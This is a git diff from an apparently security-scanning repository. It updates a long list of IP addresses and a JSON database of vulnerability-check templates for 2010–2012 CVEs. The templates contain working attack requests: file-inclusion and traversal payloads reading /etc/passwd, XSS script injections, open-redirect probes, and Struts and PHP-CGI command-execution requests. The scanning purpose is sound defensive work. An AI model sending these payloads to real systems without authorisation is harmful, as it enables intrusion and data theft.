80.82.70.228 80.82.77.139 +80.82.77.144 80.82.77.33 -80.85.241.14 +80.82.78.14 80.86.231.91 80.87.206.53 +80.88.88.149 80.89.200.109 -80.90.184.133 -80.91.183.93 +80.91.91.122 +80.94.92.30 80.94.92.31 80.94.93.210 -80.94.95.242 80.94.95.249 -80.94.95.68 +81.0.218.195 81.0.218.244 81.0.218.249 81.0.57.187 -81.10.121.196 -81.130.146.115 -81.16.170.117 -81.161.229.250 +81.143.216.63 +81.161.229.46 81.163.27.186 -81.163.27.59 81.17.22.114 81.17.25.50 -81.172.201.241 -81.174.23.66 81.177.143.135 81.192.46.38 81.192.46.45 81.192.46.48 -81.192.87.130 81.193.156.156 -81.203.238.20 -81.213.104.251 +81.214.68.195 81.218.45.149 81.22.51.64 +81.231.241.25 81.246.47.178 -81.247.94.31 +81.246.65.159 81.248.13.77 -81.28.167.30 +81.29.214.123 81.3.157.110 -81.68.169.243 -81.70.158.78 -81.82.101.142 +81.69.4.61 +81.70.157.20 +81.70.203.89 +81.70.90.183 +81.70.98.61 +81.71.1.242 +81.82.103.78 81.86.212.0 +81.89.110.244 82.102.12.37 +82.102.158.36 82.102.189.184 -82.111.224.128 +82.102.27.163 82.111.224.129 -82.119.124.138 -82.127.219.71 +82.117.247.185 +82.130.209.229 +82.141.237.225 82.142.155.158 +82.142.9.207 82.147.85.78 82.147.85.79 82.154.230.131 -82.155.45.55 -82.156.169.242 +82.156.154.151 82.156.174.174 82.156.228.240 -82.156.235.34 -82.157.168.198 -82.157.21.149 -82.157.64.24 +82.157.140.231 +82.157.16.11 +82.157.174.41 +82.157.41.6 82.165.1.72 -82.165.184.76 -82.165.247.235 -82.170.109.90 +82.165.143.209 +82.165.34.181 82.180.133.236 -82.180.160.238 -82.180.160.68 +82.180.162.185 82.180.162.30 -82.180.163.3 82.194.19.180 -82.196.5.221 +82.200.161.178 +82.200.197.100 +82.200.65.218 82.207.43.150 +82.207.8.154 +82.207.8.170 +82.207.8.198 82.207.8.202 82.207.8.206 82.207.8.242 82.207.9.150 82.207.9.226 82.208.23.205 +82.209.204.169 82.209.67.238 -82.62.149.230 -82.64.200.188 -82.65.135.40 +82.62.64.131 +82.64.9.81 82.65.17.52 82.65.179.65 -82.65.34.213 +82.65.209.209 82.65.43.136 82.66.105.4 -82.66.112.26 82.66.143.175 -82.66.147.134 -82.66.50.241 -82.66.59.170 82.67.7.178 -82.85.110.146 +82.98.163.34 83.103.250.246 -83.11.229.186 83.118.28.129 -83.137.54.101 +83.136.176.12 +83.136.219.103 83.139.6.147 83.143.246.30 +83.150.215.253 83.175.213.253 83.188.240.119 -83.199.129.165 -83.209.225.143 -83.233.56.71 +83.235.16.111 83.235.21.125 83.239.204.140 +83.239.97.132 83.240.178.154 83.249.102.252 -83.6.159.163 -83.6.177.194 +83.253.194.35 83.69.204.2 83.8.131.51 -83.97.23.181 83.97.73.87 84.108.40.27 84.110.103.166 -84.138.157.232 -84.19.182.20 +84.146.103.99 84.2.226.70 84.201.158.231 84.201.158.33 84.201.173.228 -84.201.174.187 84.227.190.79 -84.228.10.170 -84.228.15.36 -84.238.23.220 -84.242.124.74 +84.238.27.103 +84.239.46.144 84.31.175.97 -84.47.134.205 84.52.103.234 84.54.115.46 84.54.51.12 84.54.51.121 84.54.51.142 +84.54.51.188 +84.54.51.2 +84.54.51.212 84.54.51.252 84.54.51.254 84.54.51.27 84.54.51.4 -84.95.211.198 -85.114.119.22 -85.114.135.225 -85.114.138.220 -85.122.146.46 -85.132.106.146 +84.54.51.92 +84.86.51.250 +84.96.22.14 +85.105.174.16 +85.111.24.98 +85.143.222.168 85.15.190.226 -85.152.30.138 85.152.57.60 +85.172.60.21 85.18.236.229 -85.192.40.211 -85.192.41.225 +85.185.201.10 +85.19.195.12 85.192.41.240 -85.194.57.132 -85.208.139.127 -85.208.139.205 +85.193.93.225 +85.208.253.115 85.208.253.130 85.208.253.133 85.208.253.160 +85.208.253.165 85.208.253.191 85.208.253.195 85.208.253.204 +85.208.253.207 85.208.253.209 -85.208.253.249 -85.208.253.83 +85.208.253.242 +85.208.96.193 +85.208.96.195 85.208.96.196 +85.208.96.197 85.208.96.198 85.208.96.199 85.208.96.200 85.208.96.201 +85.208.96.202 85.209.158.9 -85.209.176.30 85.214.140.22 -85.217.144.114 +85.217.144.141 85.217.144.82 -85.227.241.184 85.227.85.186 85.227.85.29 -85.233.142.6 85.234.116.19 -85.237.38.194 -85.237.40.115 -85.237.57.193 -85.239.233.198 +85.237.178.248 85.239.243.172 85.239.244.200 -85.247.2.222 -85.74.208.123 -85.92.168.28 +85.240.58.125 +85.50.226.36 +85.9.128.217 +85.95.242.203 +85.96.204.192 85.99.108.68 +86.107.31.40 86.107.45.46 86.144.156.87 -86.160.186.215 -86.32.124.11 -86.38.217.96 -86.57.218.140 -86.57.218.177 +86.57.183.121 +86.57.232.71 86.62.96.179 -87.106.124.127 +86.98.223.118 +87.103.126.54 87.106.197.31 87.107.69.6 87.115.55.86 -87.120.84.105 -87.120.84.111 -87.120.84.122 -87.120.84.124 -87.120.84.126 -87.120.84.186 -87.120.84.96 +87.120.254.48 +87.120.84.146 +87.120.84.182 87.121.221.164 87.121.221.176 87.156.186.65 -87.212.22.254 +87.219.167.20 87.219.167.80 87.229.193.98 -87.229.214.186 -87.231.134.254 -87.236.176.160 -87.236.176.165 -87.236.176.204 -87.236.176.226 -87.236.176.31 -87.236.176.91 -87.236.176.96 -87.237.117.183 -87.251.236.115 +87.236.176.116 +87.236.176.135 +87.236.176.150 +87.236.176.171 +87.236.176.175 +87.236.176.217 +87.236.176.231 +87.236.176.237 +87.236.176.33 +87.236.176.39 +87.236.176.47 +87.236.176.48 +87.236.176.54 +87.236.176.55 +87.236.176.59 +87.236.176.62 +87.236.176.81 +87.236.176.85 +87.236.176.95 +87.248.226.146 87.254.31.23 +87.255.193.50 87.27.205.141 87.6.97.214 -87.61.100.143 87.66.5.199 87.8.194.222 87.98.133.33 -88.103.79.196 88.110.91.74 -88.121.4.73 -88.156.40.50 -88.168.61.98 +88.115.179.177 +88.200.195.115 88.201.229.78 -88.204.217.246 -88.214.25.16 -88.249.56.14 -88.255.185.253 -88.30.4.209 +88.204.221.66 +88.247.102.53 +88.247.40.182 +88.247.78.116 +88.248.117.149 +88.248.28.108 +88.250.96.112 +88.36.189.42 88.80.20.49 -88.84.252.159 88.87.89.202 +88.88.123.168 +89.10.150.58 +89.100.91.14 89.108.111.51 -89.114.94.207 -89.117.113.246 +89.116.179.49 +89.116.212.151 +89.116.230.119 89.117.76.39 89.117.89.212 89.121.228.38 +89.134.90.97 +89.144.198.144 +89.147.109.226 +89.147.111.157 +89.152.169.98 89.175.49.2 89.178.57.150 89.179.126.155 -89.186.10.225 -89.186.28.250 89.190.156.177 89.190.203.54 -89.191.239.118 -89.208.103.140 +89.201.167.100 89.208.104.119 89.208.104.244 -89.208.107.234 +89.208.105.228 +89.208.246.109 89.216.61.223 -89.218.118.22 -89.218.32.2 89.218.94.98 89.22.185.202 -89.23.69.252 +89.228.192.51 89.236.239.25 89.248.162.161 89.248.163.130 @@ -9735,51 +9702,68 @@ 89.248.168.42 89.248.170.132 89.248.172.16 +89.249.74.213 89.252.140.21 89.252.140.220 -89.34.27.143 -89.40.66.22 -89.46.219.237 -89.58.27.84 -89.58.47.87 +89.36.20.218 +89.40.142.102 +89.40.182.150 +89.58.30.164 +89.58.41.251 +89.58.7.177 +89.67.242.130 +89.79.28.117 +89.97.218.142 90.142.43.162 90.150.180.78 +90.151.171.109 90.168.201.25 -90.175.126.120 90.183.24.74 +90.187.219.149 +90.188.113.141 +90.188.225.36 90.188.238.219 90.188.41.224 +90.188.5.39 90.188.94.2 -90.239.30.219 -90.60.176.166 +91.121.171.183 +91.122.14.24 91.122.197.235 -91.126.81.159 91.130.46.174 91.130.59.242 91.132.144.59 91.134.196.199 91.134.248.249 -91.144.158.231 91.144.20.198 +91.147.211.250 91.148.190.174 91.148.190.230 +91.185.28.60 91.191.209.198 91.191.209.222 91.191.209.26 -91.192.239.239 +91.193.43.11 +91.194.247.22 +91.196.164.131 91.205.128.170 +91.205.219.185 91.207.175.154 +91.208.75.153 +91.208.75.156 +91.208.75.239 +91.208.75.3 +91.208.75.4 +91.211.210.99 +91.213.50.8 91.213.99.15 91.213.99.45 -91.219.236.137 -91.220.109.185 -91.220.205.69 -91.221.246.6 91.223.169.83 91.223.169.88 -91.225.158.77 +91.227.28.137 91.228.239.246 91.230.149.142 +91.234.124.6 +91.237.161.246 91.238.230.148 91.239.206.219 91.239.97.29 @@ -9788,45 +9772,45 @@ 91.240.118.71 91.240.118.75 91.240.118.77 +91.240.254.106 +91.244.113.156 91.73.194.178 91.73.245.102 91.74.104.250 91.74.98.114 91.98.31.173 +92.100.159.115 92.109.212.217 -92.115.3.157 +92.118.236.114 92.118.238.15 -92.118.39.108 -92.118.39.109 +92.118.39.242 92.118.39.248 92.118.39.35 92.118.39.40 92.118.39.81 92.118.39.84 -92.204.133.133 +92.12.192.221 +92.124.144.204 +92.169.137.228 +92.204.128.76 92.204.133.169 92.204.136.167 -92.204.139.216 92.204.145.83 -92.204.211.200 92.205.24.196 +92.222.10.177 92.222.202.39 -92.222.24.76 -92.222.50.21 +92.241.106.38 92.241.68.2 92.255.195.59 92.255.78.148 92.27.145.24 92.35.113.200 -92.36.133.72 -92.36.190.80 -92.38.87.173 +92.36.170.130 +92.36.171.252 92.46.41.208 +92.48.77.62 92.50.249.166 -92.51.104.150 92.51.70.138 -92.54.15.116 -92.54.57.90 92.62.243.133 92.63.196.33 92.63.197.110 @@ -9837,43 +9821,44 @@ 92.63.197.92 92.63.197.93 92.63.197.97 +92.81.119.26 +92.81.131.98 92.81.222.217 +92.87.6.104 93.108.242.140 +93.118.122.51 93.120.240.202 93.123.118.185 93.123.118.225 -93.149.118.114 93.149.14.173 +93.152.157.174 93.157.174.208 93.174.95.106 -93.182.70.227 +93.176.229.145 +93.182.68.88 +93.185.71.21 93.185.73.178 +93.187.32.42 93.189.11.246 93.190.106.139 -93.222.10.11 -93.240.46.99 93.3.247.235 -93.43.231.181 -93.46.198.114 +93.33.198.173 +93.42.155.2 93.47.66.126 -93.62.72.229 +93.49.247.215 93.67.213.111 -93.90.41.12 93.93.116.89 -93.93.118.142 -94.100.96.34 -94.100.96.60 +93.95.225.141 +94.101.177.146 94.102.49.190 94.102.49.193 94.102.49.205 -94.102.50.103 -94.102.51.15 94.102.61.10 94.102.61.2 94.102.61.20 -94.102.61.21 -94.102.61.22 -94.102.61.26 +94.102.61.23 +94.102.61.24 +94.102.61.25 94.102.61.27 94.102.61.28 94.102.61.29 @@ -9899,102 +9884,117 @@ 94.102.61.53 94.102.61.54 94.102.61.6 -94.103.86.109 -94.113.219.91 +94.102.61.70 +94.102.61.75 +94.102.61.80 94.125.187.102 -94.125.52.254 94.127.212.198 -94.130.67.88 -94.141.69.156 -94.153.212.78 -94.156.102.151 -94.156.161.43 -94.156.253.122 +94.131.132.139 +94.131.211.168 +94.139.201.162 +94.156.253.107 +94.156.253.110 +94.156.253.245 94.156.253.31 94.156.253.41 94.156.6.105 +94.156.6.24 +94.16.112.22 +94.16.116.81 94.179.133.22 94.180.247.20 94.188.177.110 94.189.192.230 94.20.154.204 94.200.20.66 -94.203.129.98 +94.203.183.34 +94.205.22.95 +94.206.42.182 94.206.93.90 -94.228.169.133 +94.228.168.29 94.228.169.70 -94.23.149.231 +94.23.133.43 94.23.162.147 94.23.251.90 94.23.61.165 -94.233.240.141 -94.254.0.234 -94.255.194.104 -94.26.140.101 -94.26.228.161 -94.41.89.42 -94.45.76.149 -94.66.67.57 +94.230.141.234 +94.232.42.99 +94.254.12.27 94.70.166.88 -94.72.143.239 -94.76.82.57 +94.74.105.244 95.0.15.234 -95.104.193.17 +95.106.67.231 95.111.237.28 95.124.251.22 -95.124.251.25 -95.130.227.116 -95.140.156.17 -95.142.87.114 +95.124.251.24 +95.124.251.29 +95.136.116.62 +95.142.90.214 95.143.190.164 95.143.190.182 -95.152.60.122 +95.153.105.131 +95.156.168.230 +95.156.96.46 +95.158.71.6 95.165.142.8 -95.165.162.140 +95.165.147.31 +95.167.164.230 95.168.173.143 95.179.232.134 -95.181.43.122 -95.214.26.111 +95.181.233.19 +95.211.210.103 95.214.26.136 95.214.26.143 +95.214.26.184 95.214.27.118 95.214.27.126 +95.214.27.145 95.214.27.159 +95.214.27.230 95.214.53.134 95.214.55.244 95.214.55.43 -95.214.55.85 -95.222.243.108 +95.215.153.66 +95.229.66.163 95.24.7.18 -95.255.48.157 +95.42.59.166 +95.46.113.106 +95.47.119.95 95.56.248.141 +95.57.218.103 95.59.156.124 +95.6.68.209 95.68.200.146 -95.79.108.51 95.79.172.183 -95.79.45.205 95.79.97.88 95.81.93.135 -96.1.64.194 -96.10.158.110 +95.9.93.130 +95.90.12.128 +96.126.104.125 96.126.104.221 96.29.224.230 96.39.103.194 -96.39.84.233 +96.64.67.41 96.67.59.65 -96.69.13.140 96.78.175.36 -96.84.198.29 +96.78.57.140 +96.79.155.194 +96.85.110.193 +96.92.193.161 +97.64.22.63 +97.68.57.241 +97.74.80.181 97.74.83.185 97.74.95.243 -98.110.23.77 +97.87.231.7 +97.89.112.49 +98.110.210.74 +98.128.139.100 98.142.141.184 -98.147.233.57 -98.149.174.1 -98.159.100.153 +98.144.109.171 98.28.46.53 -98.96.193.3 -98.96.193.4 -98.96.193.5 99.149.251.77 99.252.90.240 +99.46.3.41 +99.50.44.7 +99.7.121.109 diff --git a/db/cves.json b/db/cves.json index 9e6675af..2e9e9b69 100644 --- a/db/cves.json +++ b/db/cves.json @@ -1 +1 @@ -{"templates":[{"id":"CVE-2012-1835","info":{"name":"WordPress Plugin All-in-One Event Calendar 1.4 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/all-in-one-event-calendar/app/view/agenda-widget.php?title=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4878","info":{"name":"FlatnuX CMS - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/controlcenter.php?opt=contents/Files&dir=%2Fetc&ffile=passwd&opmod=open"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4547","info":{"name":"AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E","{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4032","info":{"name":"WebsitePanel before v1.2.2.1 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /Default.aspx?pid=Login&ReturnUrl=http%3A%2F%2Fwww.interact.sh HTTP/1.1\nHost: {{Hostname}}\nCookie: UserCulture=en-US; .WEBSITEPANELPORTALAUTHASPX=\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36\nContent-Type: application/x-www-form-urlencoded\n\nctl03%24ctl01%24ctl00%24txtUsername={{username}}&ctl03%24ctl01%24ctl00%24txtPassword={{password}}&ctl03%24ctl01%24ctl00%24btnLogin=+++Sign+In+++&ctl03%24ctl01%24ctl00%24ddlLanguage=en-US&ctl03%24ctl01%24ctl00%24ddlTheme=Default\n"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:http?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2012-0896","info":{"name":"Count Per Day <= 3.1 - download.php f Parameter Traversal Arbitrary File Access","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/count-per-day/download.php?n=1&f=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-0392","info":{"name":"Apache Struts2 S2-008 RCE","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4768","info":{"name":"WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?dlsearch=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4889","info":{"name":"ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/fw/syslogViewer.do?port=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4242","info":{"name":"WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?page_id=2&%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-5913","info":{"name":"WordPress Integrator 1.32 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-login.php?redirect_to=http%3A%2F%2F%3F1%3C%2FsCripT%3E%3CsCripT%3Ealert%28document.domain%29%3C%2FsCripT%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-0991","info":{"name":"OpenEMR 4.1 - Local File Inclusion","severity":"low"},"requests":[{"method":"GET","path":["{{BaseURL}}/contrib/acog/print_form.php?formname=../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-6499","info":{"name":"WordPress Plugin Age Verification v0.4 - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /wp-content/plugins/age-verification/age-verification.php HTTP/1.1\nHost: {{Hostname}}\n\nredirect_to=http://www.interact.sh&age_day=1&age_month=1&age_year=1970\n"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2012-1823","info":{"name":"PHP CGI v5.3.12/5.4.2 Remote Code Execution","severity":"high"},"requests":[{"raw":["POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\n\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["3d638155445bffb044eec401381ad784"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-1226","info":{"name":"Dolibarr ERP/CRM 3.2 Alpha - Multiple Directory Traversal Vulnerabilities","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/document.php?modulepart=project&file=../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-0996","info":{"name":"11in1 CMS 1.2.1 - Local File Inclusion (LFI)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?class=../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-3153","info":{"name":"Oracle Forms & Reports RCE (CVE-2012-3152 & CVE-2012-3153)","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/reports/rwservlet/showenv","{{BaseURL}}/reports/rwservlet?report=test.rdf&desformat=html&destype=cache&JOBTYPE=rwurl&URLPARAMETER=file:///"],"req-condition":true,"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["contains(body_1, \"Reports Servlet\")"]},{"type":"dsl","dsl":["!contains(body_2, \""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-4940","info":{"name":"Axigen Mail Server Filename Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\\..\\..\\windows\\win.ini","{{BaseURL}}/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\\..\\..\\windows\\win.ini"],"stop-at-first-match":true,"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2012-4982","info":{"name":"Forescout CounterACT 6.3.4.1 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/assets/login?a=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh.*$"]}]}]},{"id":"CVE-2012-0901","info":{"name":"YouSayToo auto-publishing 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-0981","info":{"name":"phpShowtime 2.0 - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?r=i/../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2012-5321","info":{"name":"TikiWiki CMS Groupware v8.3 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/tiki-featured_link.php?type=f&url=https://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2012-2371","info":{"name":"WP-FaceThumb 0.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?page_id=1&pagination_wp_facethumb=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1340","info":{"name":"Joomla! Component com_jresearch - 'Controller' Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jresearch&controller=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1982","info":{"name":"Joomla! Component JA Voice 2.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0467","info":{"name":"Joomla! Component CCNewsLetter - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1954","info":{"name":"Joomla! Component iNetLanka Multiple root 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_multiroot&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0759","info":{"name":"Joomla! Plugin Core Design Scriptegrator - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/plugins/system/cdscriptegrator/libraries/highslide/js/jsloader.php?files[]=/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4977","info":{"name":"Joomla! Component Canteen 1.0 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_canteen&controller=../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4617","info":{"name":"Joomla! Component JotLoader 2.2.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jotloader§ion=../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-0157","info":{"name":"Joomla! Component com_biblestudy - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-4239","info":{"name":"Tiki Wiki CMS Groupware 5.2 - Local File Inclusion","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/tiki-jsplugin.php?plugin=x&language=../../../../../../../../../../windows/win.ini"],"matchers":[{"type":"word","part":"body","words":["bit app support","fonts","extensions"],"condition":"and"}]}]},{"id":"CVE-2010-1473","info":{"name":"Joomla! Component Advertising 0.25 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_advertising&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1723","info":{"name":"Joomla! Component iNetLanka Contact Us Draw Root Map 1.1 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_drawroot&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1217","info":{"name":"Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_jeformcr&view=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1540","info":{"name":"Joomla! Component com_blog - Directory Traversal","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_myblog&Itemid=1&task=../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1722","info":{"name":"Joomla! Component Online Market 2.x - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_market&controller=../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-1081","info":{"name":"Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2010-2861","info":{"name":"Adobe ColdFusion 8.0/8.0.1/9.0/9.0.1 